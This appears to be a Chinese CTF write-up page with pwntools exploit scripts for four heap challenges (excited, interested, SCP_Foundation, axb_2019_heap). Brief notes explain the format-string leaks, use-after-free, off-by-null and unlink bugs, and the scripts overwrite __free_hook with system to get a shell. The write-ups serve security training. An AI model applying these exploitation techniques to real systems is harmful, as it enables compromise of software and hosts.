exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './excited' main_arena = 0x1beb80 s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n=None : io.recv(n) ra = lambda t=tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n=2 **20 : io.recvlines(n) local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) def alloc (size1,content1,size2,content2 ): ru('#######################' ) sl(str (1 )) ru("> ba's length : " ) sl(str (size1)) ru("> ba : " ) sl(content1) ru("> na's length : " ) sl(str (size2)) ru("> na : " ) sl(content2) def free (index ): ru('#######################' ) sl(str (3 )) ru("> Banana ID : " ) sl(str (index)) def show (index ): ru('#######################' ) sl(str (4 )) ru("> SCP project ID : " ) sl(str (index)) alloc(0x60 ,b'a' ,0x60 ,b'a' ) alloc(0x60 ,b'a' ,0x60 ,b'a' ) alloc(0x60 ,b'a' ,0x60 ,b'a' ) alloc(0x60 ,b'a' ,0x20 ,b'a' ) free(0 ) free(1 ) alloc(0x10 ,p64(0x601F98 )+p64(0x6020A8 ),0x10 ,b'a' ) show(0 ) ru("# Banana's ba is " ) libc_base = u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['free' ] ''' io.success("libc_base==>{}".format(hex(libc_base))) mk = libc.sym['__malloc_hook']+libc_base free(2) free(3) alloc(0x10,p64(0x601F98+53+0x10)+p64(mk-11+0x10),0x10,b'a')#5 gdb.attach(io,'b main') #alloc(0x10,b'a',0x70,b'a')#1 #alloc(0x70,b'a',0x70,b'a')#2 #alloc(0x70,b'a',0x70,b'a')#3 ''' io.interactive()
ichunqiuyiqing_interested 题目分析
存在格式化字符串漏洞leak地址,UAF漏洞,堆打卡
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './interested' main_arena = 0x1beb80 s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n=None : io.recv(n) ra = lambda t=tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n=2 **20 : io.recvlines(n) su = lambda buf,addr:io.success(buf+"==>" +hex (addr)) local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) ru('> Input your code please:' ) s('OreOOrereOOreO%17$p' ) ru('#######################' ) sl(str (0 )) ru('# Your Code is ' ) ru('0x' ) libc_base = int (r(12 ).decode(),16 ) - 158986 su('libc_base' ,libc_base) fh = libc.sym["__free_hook" ] + libc_base su('free_hook' ,fh) system = libc.sym['system' ] + libc_base def add (size1,content1,size2,content2 ): ru('> Now please tell me what you want to do :' ) sl('1' ) ru("> O's length : " ) sl(str (size1)) ru("> O : " ) sl(content1) ru("> RE's length : " ) sl(str (size2)) ru("> RE : " ) sl(content2) def free (index ): ru('> Now please tell me what you want to do :' ) sl('3' ) ru("> Oreo ID :" ) sl(str (index)) def edit (index,content1,content2 ): ru('> Now please tell me what you want to do :' ) sl('2' ) ru("> Oreo ID :" ) sl(str (index)) ru("> O : " ) sl(content1) ru("> RE : " ) sl(content2) def show (index ): ru('> Now please tell me what you want to do :' ) sl('4' ) ru("> Oreo ID :" ) sl(str (index)) add(0x20 ,b'a' ,0x20 ,b'x' ) free(1 ) edit(1 ,b'a' ,p64(fh)) add(0x20 ,b'a' ,0x20 ,p64(system)) add(0x20 ,b'/bin/sh\0' ,0x20 ,b'x' ) ru('> Now please tell me what you want to do :' ) sl('3' ) ru("> Oreo ID :" ) sl('3' ) io.interactive()
SCP_Foundation 题目分析 存在uaf漏洞,堆块存在指针,有show、add、free功能,flag已经读取到内存中了,直接把堆块里的指针改成对应内存快的指针就可以读取flag了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *context.log_level = 'debug' context.arch='amd64' binary = './SCP_Foundation' main_arena = 0x1beb80 s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n=None : io.recv(n) ra = lambda t=tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n=2 **20 : io.recvlines(n) su = lambda buf,addr:io.success(buf+"==>" +hex (addr)) local = 1 if local == 1 : io=process(binary) else : io=remote() elf=ELF(binary) flag = 0x6030C8 def login (): ru("> Username:" ) sl('a' ) ru("> Password:" ) s(b"For_the_glory_of_Brunhild" ) def add (size1,content1,size2,content2 ): ru('> Now please tell me what you want to do :' ) sl('2' ) ru("> SCP name's length : " ) sl(str (size1)) ru("> SCP name : " ) sl(content1) ru("> SCP description's length : " ) sl(str (size2)) ru("> SCP description : " ) sl(content2) def free (index ): ru('> Now please tell me what you want to do :' ) sl('4' ) ru("> SCP project ID : " ) sl(str (index)) def show (index ): ru('> Now please tell me what you want to do :' ) sl('5' ) ru("> SCP project ID : " ) sl(str (index)) login() add(0x20 ,b'a' ,0x20 ,b'x' ) add(0x20 ,b'a' ,0x20 ,b'x' ) free(1 ) free(0 ) add(0x10 ,p64(flag)+p64(flag),0x10 ,b'x' ) show(1 ) io.interactive()
axb_2019_heap 题目分析 存在格式化字符串漏洞leak地址,没有show功能,只能申请0x80以上的堆块。有一个offbynull漏洞。
涉及知识点 unlink
本次攻击是将chunk0指向数据的指针当作指向伪造chunk头的指针,FD->bk、BK->fd就是我们伪造的指针,他们都同时指向bss段上chunk0的指针,可以将bss段上的指针改成BK->fd。这样就可以控制堆块指针达到任意地址读写
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *import syscontext.log_level = 'debug' context.terminal = ['terminator' ,'-x' ,'sh' ,'-c' ] binary = './axb_2019_heap' local = 0 if local == 1 : io=process(binary) else : io=remote("node4.buuoj.cn" ,28826 ) elf=ELF(binary) libc = ELF('./libc-2.23.so' ) def add (index,size,content=b'a' *8 ): io.recvuntil('Enter a option: ' ) io.sendline('1' ) io.sendlineafter('Enter the index you want to create (0-10):' ,str (index)) io.recvuntil("Enter a size:" ) io.sendline(str (size)) io.recvuntil("Enter the content: " ) io.sendline(content) def edit (index,content ): io.recvuntil('Enter a option: ' ) io.sendline('4' ) io.recvuntil("Enter an index:" ) io.sendline(str (index)) io.recvuntil("Enter the content: " ) io.send(content) def free (index ): io.recvuntil('Enter a option: ' ) io.sendline('2' ) io.recvuntil("Enter an index:" ) io.sendline(str (index)) def leak (): io.recvuntil("Enter your name: " ) io.sendline('%15$p%11$p' ) io.recvuntil('0x' ) libc_base = int (io.recv(12 ).decode(),16 )-libc.sym['__libc_start_main' ]-240 io.success('libc_base==>' +hex (libc_base)) return libc_base libc_base = leak() io.recvuntil('0x' ) pie_base = int (io.recv(12 ).decode(),16 )-0x1186 io.success('pie_base==>' +hex (pie_base)) chunk=pie_base+0x203000 bss = pie_base+0x202060 fh = libc.sym['__free_hook' ]+libc_base main_arena = libc.sym["__malloc_hook" ]+0x10 +libc_base+88 system = libc.sym['system' ]+libc_base add(0 ,0x88 ) add(1 ,0x88 ) add(2 ,0x88 ) add(3 ,0x88 ) pay = p64(0 )+p64(0x81 )+p64(bss-0x18 )+p64(bss-0x10 ) pay = pay.ljust(0x80 ,b'\x00' )+p64(0x80 )+b'\x90' edit(0 ,pay) free(1 ) pay=p64(0 )*3 +p64(fh-8 )+b'\x88' +b'\n' edit(0 ,pay) pay=b'/bin/sh\0' +p64(system)+b'\n' edit(0 ,pay) free(0 ) io.interactive()